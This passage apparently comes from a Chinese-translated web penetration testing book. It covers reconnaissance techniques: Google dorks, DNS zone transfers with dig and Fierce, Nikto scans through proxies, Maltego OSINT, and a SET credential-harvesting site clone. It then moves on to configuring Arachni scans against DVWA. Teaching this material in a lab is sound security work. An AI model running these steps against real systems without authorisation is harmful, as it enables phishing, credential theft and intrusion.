site:<target site> inurl:index
Inurl: 可以帮助消除成千上万个潜在位置并聚焦。
- 文件句柄(ext:)操作符:使用标准文件句柄允许我们调用和包括(或排除)感兴趣的文件扩展名。使用典型的文件扩展名,您可以使用 ext:操作符调用每个文件。例如,我们可以使用以下字符串在www.hackthissite.org中搜索所有带有 URL 中包含单词 index 的 PHP 文件:
site:<target site> ext:php inurl:index
- 文件类型:操作符:如果我们正在寻找可能不会显示但链接到或存档在网站上的文件类型,我们可以使用文件类型:操作符。例如,在您的搜索中调用
filetype:xls
,将搜索您的搜索区域以查找 Excel 电子表格:
site:<target site> filetype:xls inurl:finance
- 标题:操作符:当我们想要一个特定的文件时,我们可以使用标题:操作符。这对于定位特定平台配置文件非常有用,或者可以帮助暴露
robots.txt
文件。正如您可能还记得我们使用 HTTrack 时,该实用程序的默认行为是避免爬行网站中robots.txt
文件中标识的部分。这是为了让网站开发人员防止可信浏览器搜索到某些必要但敏感的位置。如果没有采取其他预防措施,robots.txt
可以为黑客提供他们可能想要查看的文件和文件夹列表。对于黑客来说,有很大的机会在其中找到一些非常有用的细节。要查看robots.txt
文件中的内容,您可以简单地输入:
site:<target site> intitle:"index.of" robots.txt
前述每个操作符都可以单独或组合使用来帮助缩小搜索范围,但了解更多关于谷歌搜索引擎的处理方式也可以帮助我们消除多余的信息并理解结果。以下是一些快速提示的亮点:
-
使用逻辑运算符OR是有帮助的(AND是默认的)。如果写出来,OR 必须始终大写才能被视为逻辑 OR,否则它将被视为搜索短语的一部分。您还可以使用**|运算符,通常称为管道**运算符。
-
Google 搜索将专注于搜索短语的前 10 个非平凡单词。在搜索短语中使用*****来代替可选或丢弃的单词不会计入十个单词的限制,但可以有效地扩展搜索短语,以进行更复杂的搜索。
-
您可以在操作符或过滤器之前使用**-**来排除(否定)该过滤器或操作的效果。例如,我们想要确定除了 Web 服务器之外,特定域名可能呈现的其他内容:
site:packtpub.com �site:www.packtpub.com
使用“-”修饰符可以从结果集中排除一个过滤器。
- 这与关键词NOT不同,后者实际上只能用于从搜索中排除一个词,对特殊操作符没有影响。如果我们运行以下命令,将会产生大量www的结果,与使用**-**作为修饰符的搜索不同:
site:packtpub.com NOT site:www.packtpub.com
仅使用 NOT 排除该字符串 - 如果您不预期它,这是没有用的。
与 Google Hacking DB 和 Netcraft 一起更智能地工作
Google 搜索技巧将始终有用,但对于黑客来说,最有用的字符串大部分都被收录在Google Hacking 数据库(也称为Exploit DB)中,这是由 Offensive Security 团队托管的项目(www.exploit-db.com/google-hacking-database/
)。虽然浏览很有趣,但最好的用法是用它来启发您的搜索查询,将它们的字符串与前一节中的修饰符结合起来。
它们的大部分类别对于 Web 渗透测试很有用,但我会从Web 服务器检测查询开始:
Google Hacking DB 中有很多可以重新利用的出色搜索查询。
这些查询以及其他类别,如易受攻击的服务器、敏感目录等,结合inurl:
和site:
修饰符,可以帮助我们高层次地了解环境中的暴露情况。如果你幸运地发现了凭证或漏洞,这些信息应立即披露给您的客户。这些搜索在黑客领域的两边都在持续使用,这类信息不应该等到总结之后才披露。
总部位于英格兰巴斯的公司Netcraft提供了许多服务,但他们的免费网络扫描工具(searchdns.netcraft.com
)是一个非常方便的扫描器,可以帮助更加详细地聚焦。您可以搜索域名并深入到所有可以基于对无害查询的响应进行公开分析的技术和版本的报告中。在他们的网站上快速搜索www.packtpub.com/
,我们发现他们目前有两个邮件 IP 地址,正在 FreeBSD 上托管 Packt 平台。报告还告诉我们什么?
Netcraft 的在线网络扫描工具让我们对未来阶段有了很好的了解。
我们可以看到有两个跟踪器(Google 和 Amazon)。服务器端使用 XML 和 SSL,客户端使用 JavaScript,Drupal 既用作内容管理系统(CMS)又用作 PHP 脚本引擎,同时还使用 HTML5 和 CSS 样式表。所有这些都有助于优化我们的渗透测试方法。
精通您自己的领域
搜索引擎易于访问,但我们还需要了解网络的域结构、寻址计划和支持服务,因为这种视角对我们探测应用程序至关重要。托管应用程序的域可能具有复杂的域结构,可以被利用。主机、网络 IP 地址和块、名称服务器以及相关元素可以帮助识别目标实体、转移到相邻主机、底层服务和守护程序,以及正在使用的开放端口和协议。我们将研究一些工具,这些工具将其中一些工具整合到一个更大的解决方案中,但是精通dig、fierce、dnsenum、dnsmap、WHOIS和DNSRecon将大大提高准确性和效力。
WHOIS 数据库自互联网早期以来就已经在使用,尽管复杂的服务提供商和托管范式意味着 WHOIS 很少包含域的最终用户及其联系信息,但正是这些信息可以启动调查。我们在经验中都使用过它,因此我们将进入下一级工具。
挖掘信息
DNS 记录为与域的各种功能相关联的 IP 地址提供了人类可关联的别名。我建议定期对 DNS 操作和相关记录类型进行全面审查,以确保您始终了解 DNS 使用中的任何新趋势,并唤起您的记忆。发现新的应用程序和协议借用 DNS 记录空间是很常见的。保持 DNS 知识的新鲜确保您能够充分利用这些新应用程序。
实用程序dig
一直是 DNS 枚举的渗透测试社区的中流砥柱;很可能你已经使用过它,并且有一些你喜欢使用的开关。在进行网络渗透测试时,我们将集中在答案字段上,并且利用dig
提供的各种开关,我们可以使用它来映射其他相关的记录类型。
挖掘记录类型
dig
可以用于快速而轻松地查询和映射与A、MX、NS、SOA或其他记录相关的记录类型。默认是 A 记录,表示域的主要 IPv4 地址,但您可能只想定位相关的名称服务器(NS 记录),例如尝试进行中间人攻击。例如,域的 MX 记录和指向域上的邮件服务器的指针可以用于制定钓鱼攻击以针对用户。如果我们想查看与域相关的所有记录类型,我们可以使用ANY
关键字:
dig packtpub.com ANY
基本的dig
输出-有用,但可以更简洁。
为了找到与 Packt Publishing 相关的邮件服务器,我们只需输入 MX 关键字来过滤那些记录类型。
基本dig
输出中的每个子部分都可以通过命名特定部分来过滤,例如+nocomments
,+noquestion
,+noauthority
,+noadditional
或+nostats
。要关闭所有这些部分,您可以使用+noall
快捷方式,然后在末尾打开所需的部分(例如+answer
),如下所示:
dig packtpub.com ANY +noall +answer
将dig
输出缩短,只关注我们感兴趣的记录
+short
修饰符也可以消除大量多余的信息,并且值得附加到您的标准查询中,以帮助缩短输出。
dig
还提供了执行区域传输的能力,如果目标没有受到保护,允许攻击者下载域的整个转发区域。这只应该发生在域上的合法域名服务器之间,成功的区域传输对攻击者来说是一笔意外之财,我们应该始终测试和寻找。为了演示区域传输,我们将使用出色的培训网站 Diji Ninja 自己的域名(digi.ninja/projects/zonetransferme.php
)并输入以下内容:
dig axfr @nsztm1.digi.ninja zonetransfer.me
进行区域传输是一件了不起的事情,当它成功时。
dig
提供了一个清晰简单的工具集,但通常,目标环境比dig
可以呈现的要大,或者我们正在寻找更深入的结果。这就是dnsrecon
的用武之地。我建议使用dnsrecon
重复相同类型的练习,以了解它与 dig 的比较,并帮助您确定哪个工具将成为您的主要工具。
变得凶猛
dig
和dnsrecon
是很棒的工具,但如果我们能进一步并拥有一个工具,它尝试连接到站点的地址块,自动执行区域传输,并在记录时执行所有这些操作,那不是很好吗?Fierce(由 Robert RSnake Hansen 用 Perl 编写)可以做到这一点。在调用 Fierce 时可以使用许多选项和修改器,但在大多数情况下,我使用 dig 进行初始发现,然后转到 Fierce 尝试进行区域传输和一些连接探测,然后转到更具图形化和组织性的工具,如 Maltego,来构建我的网络地图和枚举关系。要使用 Fierce 尝试进行区域传输并将日志发送到文件,您只需调用该工具,它将自动执行:
fierce -dns zonetransfer.me -file /root/Desktop/packtpub.txt
因为这个网站允许区域传输,所以我会在运行输出和我指定的txt
文件中看到结果:
Fierce 自动化了需要进行多次 dig 或 dnsrecon 查询的操作。
Fierce 还允许您尝试使用-connect
开关连接任何公共 IP 上的开放端口。您需要提供wordlist
,以便 Fierce 有一些潜在的凭据可供尝试,并且您需要在专用机器上或在夜间运行此操作,因为该过程可能需要很长时间,具体取决于域的大小。我们可以使用以下方式启动此操作:
fierce -dns <target domain> -connect <wordlist>
Nikto 的下一步
一旦我们获得了完整的 DNS 记录和其他相关情报,通常会转入扫描漏洞(也称为vulns)。Nikto是我首选的扫描器,我通常会保留这些结果,以便调整扫描漏洞的工具,同时转入后续阶段。Nikto 可以导出多种文件类型,包括 HTML、XML、TXT 和 CSV,并且使用它开始了主动侦察阶段。
注意
因为它是一个主动工具,它的使用构成了一个合法的挑衅行为,因此建议只在实验室机器上进行实践,并且只对您有明确许可的系统进行测试。我没有足够的抵押品来代表您发布保释金。
要使用 Nikto,我们需要确定主机或主机列表(在主机文件中定义),以及输出日志的位置,但有一个广泛的菜单项目列表值得考虑,以定制我们的扫描。除了输出文件和日志参数之外,实际上还有预定义的调整可用于针对指定主机运行一些常见的最佳实践测试集。这些选项是使用 Nikto 进行扫描的最佳捷径,并在主页中有详细说明:
-TuningTuning options will control the test that Nikto will use against a target. By default, if any options are specified, only those tests will be performed. If the "x" option is used, it will reverse the logic and exclude only those tests. Use the reference number or letter to specify the type, multiple may be used:0 - File Upload1 - Interesting File / Seen in logs2 - Misconfiguration / Default File3 - Information Disclosure4 - Injection (XSS/Script/HTML)5 - Remote File Retrieval - Inside Web Root6 - Denial of Service7 - Remote File Retrieval - Server Wide8 - Command Execution / Remote Shell9 - SQL Injectiona - Authentication Bypassb - Software Identificationc - Remote Source Inclusionx - Reverse Tuning Options (i.e., include all except specified)
默认扫描将运行所有测试,但如果有限制,这些调整可以帮助保持测试的合规性。当您需要匿名时,可能还希望利用一个有意义的代理(您已经建立的代理或许多免费代理之一(例如proxy-list.org
上的代理),或者更好的是,您已经为此目的而受到限制的主机)。为此,您将使用您喜欢的编辑器在config.txt
中指定代理服务器(或显式调用替代方案)。Nano是我的第一选择,但vim或emacs也可以很好地工作:
nano /etc/nikto/config.txt
滚动到**P
****roxy settings
**部分,并输入适当的详细信息:
# Proxy settings -- still must be enabled by -useproxy PROXYHOST=<IP address of proxy>PROXYPORT=<usually 8080, can be anything if using something like squid>
然后,我们可以使用配置的代理启动我们的扫描,如下所示:
nikto -Tuning x 6 9 -useproxy -h http://192.168.1.132
Nikto 是一个多才多艺、强大的扫描器——在封闭环境中进行实践会产生巨大的差异。
与任何工具一样,有时重要的是意识到要避免哪些开关。对于黑盒测试(使用更真实的隐蔽特权进行的渗透测试,其中测试人员试图模拟攻击者,并且没有任何有利的访问权限),必须避免导致过多查询和啰嗦扫描的选项,大多数情况下+mutate
开关不值得麻烦。如果进行白盒测试(对操作员已知,不专注于隐秘,并且只是在公开中探索),那么提供更广泛的覆盖范围是有意义的。
利用 Maltego 进行组织
Maltego是我最喜欢的侦察工具之一,因为它帮助可视化不同数据源之间的许多链接和关系。Jason Beltrame和我在Penetration Testing with Raspberry Pi â�� Second Edition中对其进行了介绍(www.packtpub.com/networking-and-servers/penetration-testing-raspberry-pi-second-edition
),但自那时起,我已经开始在无法想象的用例中使用它。尽管投入其中很有趣,但肯定有一些最佳实践有助于避免信息过载。Kali 发行版中最新版本 4.0.11 包括新的足迹技术,如Company Stalker、Find Wikipedia Edits、Twitter Digger和Monitor。所有转换都可以在 Web 渗透测试中使用,但这些新的以社交为重点的起点强调了Paterva的努力,使 Maltego 成为所有黑客社区不可或缺的工具。
我倾向于将其用作从社会工程、LinkedIn/电子邮件搜索中获取的信息的图形文档,并将它们固定在域上。对实体进行转变和转换的能力甚至帮助我发现了多个跨多个托管公司的域,经过两三层混淆后实际上是由同一网络的骗子运营的。通过转换的递归可以帮助找到可能具有本地帐户的其他用户,或者指示可能填充我们的字典的亲戚或朋友的姓名和信息。一个快速的例子是对 Packt Publishing 的网域进行公司跟踪机器:
这个 Maltego 图已经缩小,以保护无辜者,同时也展示了它所跟踪的信息的关联性质。
如您所见,基础机器的进程中发现了几个文档(橙色点),每个文件都有关联的元数据,如人员(绿色)、证书(黄色)和位置(红色)。如果我们深入研究一个人,我们可以要求进行搜索所有潜在的电子邮件地址的转换(蓝色)。我发现当您向 Maltego 提供来自其他 OSINT 来源的额外种子信息以帮助聚焦或推动模型链接原始机器和其他信息时,Maltego 非常有帮助。您可以添加任何形式的身份,但额外的 Web 域或电子邮件地址、社交网络用户名或 IP 块和接口可以极大地提高 Maltego 图的准确性和有用性。
与目标社交
如果您没有使用社会工程师工具包(SET,www.trustedsec.com/social-engineer-toolkit/
),那么您就错过了一些重要的东西。我们当然可以用它来欺骗 Google、Facebook 和 Twitter 来吸引受害者并发动攻击或窃取他们的凭证,但我们也可以用它来欺骗我们的目标 Web 应用程序,以劫持会话并映射用户行为。当受害者在咖啡店的舒适椅子上无意中浏览这些重复的网站时,攻击者可以收集受害者的密码,甚至注入一个命令 shell,从而完全访问受害者的系统。对于安全专业人员来说,这是一个很好的工具,可以演示用户通常不会注意输入敏感信息的位置,只要页面看起来合法。让我们看看如何使用 SET 对我们从www.hackthissite.org下载的镜像进行攻击。这是一个我们可以用来帮助设想这种攻击的图表:
SET 可以用于许多攻击,但谁不喜欢经典的 MITM 呢?
我的典型用途是选择选项**1)社会工程攻击
,然后选择2)网站攻击向量
。我要找的是3)凭证窃取攻击方法
,这样我们就可以获取我们可怜的目标用户的登录凭证。我们可以使用内置模板或导入自定义站点(对企业门户或使用较少的 Web 应用程序很有用);但为什么我们不想使用我们已经捕获的镜像呢?我们会选择选项3)自定义导入
**。这将把我们的 Kali Linux 虚拟机变成www.hackthissite.org的恶意前端,表现得像真的一样,并且可以抓取凭证或任何其他基于 HTML 的信息字段:
**
`**
使用先前镜像的 SET 配置-修改和调整以使其更具说服力。
快速检查我们的镜像显示它现在已经运行起来了;我们现在的任务是说服用户将他们的初始会话重定向到这里。
快速检查我的网站副本显示我们的 MITM 克隆已经准备就绪。
在**登录
**字段中输入一些凭证并提交它们,我可以看到它们被实时捕获并记录在日志文件中。
任何到达的 HTTP 消息都会被捕获,因此凭证或个人信息就是我们的了。`## 摘要
正如我在本章开头提到的,侦察阶段可以决定后续阶段的成败。信息收集将为您的破解和模糊操作提供数据,将搜索范围缩小到更易管理的范围。在专注于测试中节省的工作转化为更严格的测试标准,更成功的测试方法,更少的翻转和试错,以及更有意义的报告。客户通常在这个阶段学到的东西和在剩下的阶段学到的一样多,这提出了一个关键问题。关于他们的系统和使用它们的人在线上可获得的信息的质量和数量可能会对未来产生重大影响。积极采取行动来限制或减少这种曝光将改善他们的安全状况,并且应该得到鼓励和指导。
在本章中,我们探讨了一些最流行的 OSINT 收集工具的更深层用途。我们看到了如何快速映射 Web 应用程序托管架构中的各种网络和域组件,甚至开始使用更紧凑的命令行选项扫描基础设施,以获得比默认设置更简洁和有用的数据。我们还深入研究了更好地使用搜索引擎,并利用了一些流行的在线资源,这些资源记录了一些真正可怕的查询字符串。我们讨论了许多形式的社会工程学,并建立了自己的 MITM 攻击,以捕获基于我们镜像网站的凭据。最后,我们看了 Maltego 如何开始解开目标环境的层,并帮助可视化我们的对手。
在下一章中,您将学习如何使用 Arachni 框架更有效地对 Web 应用程序进行快速扫描。作为一个拦截代理来与服务器和客户端之间的对话进行交互,我们将看到 Arachni 如何进一步自动化一些攻击,提供额外的测试向量,启动扫描,跟踪 DOM 和 JavaScript 环境中的流程。作为一个额外的奖励,您将学会使用 Arachni 来模拟移动平台,甚至生成更高质量的报告,无论是作为独立报告还是作为多工具渗透测试交付的基础。本章的工作即将取得回报,朋友们!
第四章:使用 Arachni 扫描漏洞
Web 应用程序漏洞扫描器是一个大生意。 快速研究替代方案将告诉你,有数百种开源和商业扫描器,它们提供不同程度的漏洞覆盖,并且具有延伸到渗透测试 Kill 链的不同阶段的功能。 与安全领域的任何趋势一样,市场的爆炸是完全不同的东西的症状:Web 应用程序本质上易于访问,也是黑客利用的热门目标。 成功入侵或妥协的回报是巨大的。
参与网络安全解决方案的大公司都会发布年度报告,总结过去一年的事件,并预测未来几年将塑造业务的预期趋势。 Verizon、戴尔、思科、FireEye、赛门铁克和惠普只是每年更受期待的发布之一。 虽然它们通常不涉及特定威胁的技术细节和战术,但它们确实有助于阐明当前的威胁领域、高级交付模式以及对任何这些变化的感知动机。 2016 年和 2017 年的多份报告一致指出,攻击者转向利用用户浏览器和插件的漏洞,以及恶意广告、嵌入式广告和包含恶意软件或链接到恶意网站的框架。
这些趋势指向了一些事情。 首先,用户及其终端设备(移动设备、笔记本电脑、家庭设备)是我们安全故事中最薄弱的环节。 其次,随着同一用户要求随时随地访问,保护弹性边界变得困难,因为不再有需要防御的边界,而是一个非常灵活的环境。 黑客本质上会利用我们对这些新行为转变和相应弱点的信任;此时黑客企图入侵企业更加复杂和微妙,因此根据他们的动机,寻求快速致富的人会转向最易攻击的路径:Web 应用程序和应用-客户端范式。
那么,我们的客户做出了什么样的回应? 他们开始购买可以帮助他们开始保护其环境的工具,但前提是这些工具必须被正确使用。 在 Kali Linux 中,我们有一些出色的、备受推崇的扫描器,可以帮助我们的客户更好地了解他们面临的漏洞和更好地了解他们的架构。 虽然我们有一些很好的选择,但混合它们以确保我们覆盖多个工具的矢量是有帮助的,这些工具可以相互补充,减少我们的盲点。 其中一个最好的工具,我相信你过去使用过,如果你进行过 Web 应用程序漏洞扫描,那就是Arachni。
在本章中,我们将看到如何使用 Arachni 来实现以下目标:
-
有效地爬行 Web 应用程序进行快速初始扫描
-
使用主动扫描技术进一步探测并发现更多矢量
-
在 DOM 和 JavaScript 环境中启动扫描和跟踪流
-
模仿移动平台的浏览器约束
-
生成高质量的报告,可以作为独立报告或多工具渗透测试交付的基础
走进蜘蛛网
Arachni 是一个专注于我们渗透测试的侦察阶段的开源扫描器,其方式与其他任何工具都不同。如果您使用 Arachni 而不注意它与众不同的地方(就像我一样),那么您可能会发现改变工作流程会极大地改善结果。工具的创建者Tasos Laskos开发了该工具以解决一些相反的目标。首先,扫描可能需要过多的时间(甚至数小时甚至数周),这使得这些扫描不太有用。时间被浪费了,使得测试变得更加冗长。其次,更多的数据和覆盖范围是一件好事,因为它增强了准确性,但也为测试过程增加了额外的时间来完成必要的交易。
Laskos 开发 Arachni 以减少扫描所需的时间,同时允许工具扩展,以便能够更有效地处理更多的测试向量。通过使用异步 HTTP 请求来执行工具的命令,并允许 Arachni 跨系统集群扩展,以便它们可以并行处理,从而改进了其时机。通过开源工具并使用 Ruby 框架增强了准确性目标,可以让任何人向工具添加新的或更优化的测试。通过机器学习技术进一步改进了测试的时机、准确性和覆盖范围,使扫描工具 Arachni 成为一个强大的工具,我们将更深入地探索以提高测试效果和时机。
Arachni 部署的最佳实践
当我们只是使用 Arachni 进行练习时,我们可能会调用托管在同一 Kali Box 上的单个服务器和客户端。应该运行Web UI Client可执行文件,以确保 Arachni 的操作方式与实际测试场景中的操作方式相同。虽然有命令行选项可用,但在规模上有限,并且在单服务器部署中效果最佳。
Arachni 的高级架构可以在这里看到:
Arachni 的架构是其秘密武器,它有助于扩展和速度。
这里的操作大脑是Web UI Client(arachni_web)。它提供了一个单一的联系点,将其网格的Dispatch Servers(dispatchers)与初始扫描请求联系起来。然后,调度程序在服务器上生成一个新的实例。此时,Web UI Client 将能够直接与生成的实例通信,为适当的扫描工作进行配置。当一个实例完成其任务时,Web UI 客户端会拉取数据并存储它,而实例只是消失了,将其消耗的资源返回给操作系统,以供将来的实例或其他软件任务使用。
随着我们进入生产测试阶段,我们可以扩展部署以利用网格中其他服务器上的额外资源,这不仅可以让我们运行多个扫描,还可以容纳用户团队,并将收集的数据集中存储在 Web UI 客户端的中央数据库中。SQLite3 是默认选项,但如果您将来要将此安装转换为网格或大规模安装,强烈建议您从 PostgreSQL 开始。如何执行此操作的文档位于此处:github.com/Arachni/arachni-ui-web/wiki/database
。
注意
一旦您选择了其中一个数据库,您就会被锁定;改变主意意味着失去所有先前的数据。如果您认为情况会朝这个方向发展,那么在一开始构建出 PostgreSQL 环境是值得的。
Arachni 与其他黑盒动态应用程序安全测试(DAST)扫描器不同,它大量使用异步 HTTP 来进行扫描。这允许每个实例并行发送 HTTP 请求到目标。因为你可以同时进行多个扫描,这大大提高了我们从开始到完成的速度。大多数扫描器花费大量时间等待扫描线程完成。鉴于这些扫描器通常运行一组扫描并且不像 Arachni 那样即时调整扫描列表,这更加严重。
可以支持的实例数量实际上取决于可用服务器的数量,它们的资源可用性以及用于发起扫描的出站带宽。我要警告的是,如果你担心带宽,那么生成的流量很可能超过非常大的数量,应该进行限速,以避免损害真实用户的应用程序性能或者警告安全运营人员。没有什么比应用程序扫描器发起的分布式拒绝服务(DDoS)攻击更能表明我是来损害你的应用程序的。正如他们所说,伴随着巨大的力量而来的是巨大的责任!
堆栈和框架的再现
我们在任何主动侦察中的第一步很可能只是尝试进行扫描,但在接受任何工作或任务之前,最好先简单浏览一下网站的主页。使用浏览器插件,比如Wappalyzer(wappalyzer.com
),我们可以轻松地看到网站的初始足迹,并发现 Web 应用程序构建的平台或框架(如第一章*,常见的 Web 应用程序和架构*中所讨论的)。在我们开始详细介绍 Arachni 最佳实践之前,我们将使用Damn Vulnerable Web Application(DVWA),所以在我们进行扫描之前,让我们看看浏览器和 Wappalyzer 能告诉我们什么!
如下截图所示,DVWA 显然是在 Linux 操作系统上运行,使用 Apache 作为 Web 服务器,MySQL 作为数据库,并使用了多种脚本语言(Python,Perl,Ruby 和 PHP)。这看起来非常像您典型的LAMP堆栈,我们将制定一个扫描,以实现这些细节并帮助缩短扫描时间。其他传统堆栈,无论是基于 Windows 还是 Linux/Unix,使用诸如 PHP 或 ASP.NET 的语言,都正在让位于基于 Ruby,Java,JavaScript 和 Python 的新堆栈,这些堆栈专门用于移动服务,超可扩展的架构以及其他现代关注点,以至于有太多要提及。为了增加乐趣,Web 堆栈或框架对每个人来说意味着不同的东西。静态编码 HTML 的日子正在让位于围绕称为文档对象模型(DOM)的元素的新方法,其中脚本语言(JavaScript,Python 等)动态构建在浏览器中呈现的 HTML 或 XML。无论使用的是哪个版本的堆栈,能够快速确定正在运行的内容,可以指引我们朝着**常见漏洞和利用(CVEs)**以及我们在测试中可以利用的其他特征的正确方向。
当我们让浏览器帮助我们快速了解目标时,扫描会更加高效。
DVWA 还使用 OpenSSL,在过去的两三年中,它值得仔细研究,因为它已经遭受了几个备受关注的漏洞,比如Heartbleed等(www.openssl.org/news/vulnerabilities.html
),这些漏洞在全球范围内占据了新闻头条。对于一些如此技术性的东西能够成为新闻头条总是相当令人印象深刻,但我们追求的是即使是小事情-这些事情同样容易被利用,而且通常会被忽视,以便解决更高调的漏洞。Firefox 中的上一张截图与 Wappalyzer 插件向我们展示了所有这些有趣的信息。
注
要了解流行网站上运行的堆栈情况,您可以在stackshare.io
上了解更多。如果您想了解有多少种堆栈和观点,这个 Reddit 主题是教育性的,令人印象深刻的,并且可以在www.reddit.com/r/webdev/comments/2les4x/what_frameworks_do_you_use_and_why_are_they/
上找到。
Arachni 测试场景
我们使用的 DVWA 包含在OWASP BWA镜像中,位于我的实验室地址https://172.16.30.131/dvwa/
。我们的 Kali 盒子位于同一子网(172.16.30.133
),我们希望在默认配置文件上缩短扫描时间。我们将在下图中使用这个非常简单的拓扑图,以展示 Arachni 在基本扫描之上通过一点额外的努力和输入可以做出的一些高级动作。
简单的 Arachni 测试场景
效率配置文件
大多数渗透测试人员早期使用 Arachni 的经验通常涉及使用默认设置运行扫描,这些设置会在目标环境中运行全面的威胁向量列表。这是了解 Arachni 能做什么的好方法,但在 Recon 阶段收集的 OSINT 甚至是通过浏览获得的信息,正如我们刚刚看到的那样,可以为我们提供一些有用的信息,帮助我们缩小搜索范围。我们可以利用这些信息来制定自定义配置文件,就 Arachni 而言,这是大部分功能的所在。
为什么我们要这样做?消除我们知道不感兴趣的向量(未使用的数据库测试、操作系统向量等)既可以减少扫描时间,又可以避免用过多的请求压垮目标。这些信息也可以引导我们以更低的速度进行更深入的调查。我们将一起走过这个过程,并确定一些值得考虑的选项。
创建一个新配置文件
让我们为运行最常见堆栈之一的系统构建一个配置文件。我们在 DVWA 网站上看到的 LAMP 堆栈仍然是大多数 Web 应用程序的运行堆栈,而Windows/IIS/SQL/ASP.NET(WISA)紧随其后,因此这是一个很好的配置文件。我们将要点击**Profiles
菜单顶部的+
**按钮,如下所示:
大多数 Arachni 默认情况下都是开启的-我们可以根据 Recon&OSINT 使用 Profiles 进行定制或聚焦。
这将使我们从图中的**Profiles
导航菜单的Top
开始,位于浏览器窗口左侧(1)。我们需要决定一个配置文件名称(2),输入一个描述以帮助跟踪意图(3,对于团队和大型生产网格来说是个好主意),以及可以访问它的用户(4);选择Global
**。需要注意的是,这些配置文件是 Web UI Client 本地的,因此您的队友需要能够从他们的位置访问门户网站。
并不是最令人兴奋的部分,但命名约定和文档使生活更轻松。
范围和审计选项
范围部分定制得太细致,以至于无法用于适用于多个应用程序的配置文件。该部分包括仅扫描 HTTPS、设置路径和子域限制、根据字符串排除路径或限制 DOM 树深度的选项。如果您正在进行白盒测试或作为 SDLC 的一部分对同一应用程序进行内部渗透测试,这些选项是帮助将测试重点放在受影响的区域而不是扫描过大范围和包含多余结果的绝佳方式。牢记这一点,让我们继续。
我们将在接下来的图中使用审计选项来设置我们的高级扫描策略。当我们测试服务器时,如果我们省略了那些不必要地延迟我们进度的资源密集型元素,我们的扫描可以变得更加高效。如果我们知道一个网站同时使用 HTTP 的GET和POST,我们可以只测试其中一个查询。测试过程对我们每个人来说都是不同的 - 我们可能会将我们的 Arachni 扫描与 Burp Suite 或 OWASP ZAP 扫描重叠,并且不再需要扫描标头或处理 Cookie;我们将在第五章中介绍这一点,使用 OWASP ZAP 和 Burp Suite 进行代理操作。接下来,我们也将取消这里的复选框。
审计部分是我们决定对 Web 服务器进行测试的方面。
将社会工程转化为用户输入和移动平台模拟
根据我们在侦察阶段的成功,我们的一些 OSINT 可能包括网页用户的凭据。这些凭据通常可以在类似于我们在第三章中讨论的使用 SET 的 MITM 攻击中被获取。虽然在没有凭据的情况下扫描网站是可以接受的,但作为登录用户进行扫描可能会带来一些意想不到的发现。没有凭据的话,你可能只能看到大部分静态内容,以及在黑盒测试中暴露的更少的敏感信息。白盒测试可以更好地保护数据,以防凭据被泄露,因此如果这些凭据可用的话,输入字符串在这里同样具有价值。接下来的 HTTP 部分同样可以帮助定制 HTTP 请求,更好地模仿合法的客户端,处理路径中的任何代理,并限制一些请求速率和文件大小,以确保扫描器和目标都不会被压垮,或者在他们的情况下,察觉到我们的存在。如果你需要模拟不同的浏览器和平台组合,你可以在这里提供这些修改(网站www.useragentstring.com/pages/useragentstring.php
提供了详尽的列表)。正如我们将看到的,输入字段中输入的简单内容将导致我们在应用程序中深入挖掘时扫描的范围更广。
在接下来的图中,还有一系列其他字段*,*我们可能也需要注意。地址、姓名和其他静态信息很受欢迎,但更动态的输入过程,如 CAPTCHA 字段,专门设计用于防止非人类填写表单。这可能会限制扫描器的范围,但请放心,还有许多其他方法可以克服这一障碍,以便我们可以测试以确保目标真正受到保护。
当我们有用户潜在的凭据可以利用时,输入部分非常方便
指纹识别和确定平台
指纹识别部分是我们可以集中扫描并在日程表中节省时间的最有影响力的方式之一。如果您还不知道目标的堆栈,指纹识别本身就是一个很棒的工具。正如我们之前在浏览器中发现的那样,我们正在运行 LAMP,并且可以在选择只与该框架相关的测试时省略指纹识别。请注意,在下面的图中,我正在尝试针对检测到的所有 4 种语言(Perl、PHP、Python 和 Ruby)进行测试:
指纹识别允许我们明确选择测试——如果我们不必使用所有测试,那就没有意义。
检查(请)
检查部分提供了我们将测试的漏洞的细节。每个检查都是主动检查或被动检查,我们可以根据需要启用所有或部分检查。在这种情况下,我们对 DVWA 的框架有大量信息,但我们不知道它们将受到什么样的影响。如果这真的是一个黑盒扫描,并且我们试图保持隐蔽,我可能会在早期的扫描中省略所有主动检查(见下图),并等到我能够从一个不那么可疑的主机更接近 Web 服务器时再进行扫描。
主动检查决定了 Arachni 将主动与目标进行交互以发现的漏洞。
被动扫描部分要少得多,虽然这些测试可能需要一些时间,但在早期的侦察工作中非常值得使用。这可以在下图中看到,要获取更多详细信息,您可以单击每种类型的名称以获取额外信息。
被动检查是在不与应用程序的输入字段进行交互的情况下收集的。
连接到 Arachni 扩展和第三方插件
Arachni 的基于 Ruby 的框架(因为,惊喜,Arachni 也是一个 Web 应用程序!)是任何人都可以构建额外功能的简单工具。广泛接受的插件,当满足开发人员的高标准时,甚至会进入**插件
*部分的 Web UI 客户端。在这个版本的 Arachni 中,我们已经集成了几个插件,可以帮助我们的扫描减少对目标的影响(自动节流阀或速率限制器),或者添加功能来扫描其他怪癖和漏洞。甚至可以在运行时修改字段和测试参数。其中一些只是被检查了(见下图),其他需要在展开它们后进行额外配置(只需单击每个插件的超链接名称以获取详细信息)。
我为此配置选择了**AutoThrottle
和WAF Detector
**:
插件修改任何配置文件,以允许即时参数模糊、速率限制或其他特殊测试。
进行 WAF 检测的另一种方法是使用我们可靠的Nmap工具。Nmap 包括了一些用于此目的的脚本。一个脚本仅检测 WAF 的存在,而另一个脚本则在发现 WAF 时通常会告诉我们正在使用的品牌或版本。通过多个脚本和工具进行确认通常可以增加整体测试的可信度。要使用这些脚本,请输入以下命令:
nmap �p 80,443 --script http-waf-detect <hostname or ip address> nmap --script=http-waf-fingerprint < hostname or ip address>
浏览器集群
所有这些扫描和测试都是作为实例实际上是与 Web 应用程序和用户进行交互的浏览器会话进行的。我们实际上可以修改浏览器的模拟行为、时间限制、大小,甚至是**浏览器集群
**中使用的独立浏览器的数量。对于快速扫描,我建议勾选允许扫描程序省略图像的复选框。
会话检查也是一种潜在有价值的能力,其选项如下图所示。没有比扫描一个应用程序,然后发现该应用程序背后的逻辑已经将您的会话、扫描或流量转移到目标控制之外的链接域更糟糕的了。我们可以在这里输入确认页面,以确保我们定期返回到锚定页面,以确定我们的状态,并确保我们仍然在目标应用程序的结构内进行扫描,而不是进入链接应用程序的偏离。
浏览器和会话设置确保我们向正确的站点展示我们最好的一面。
在我们进行了所有配置文件更改之后,我们可以在底部选择**创建配置文件
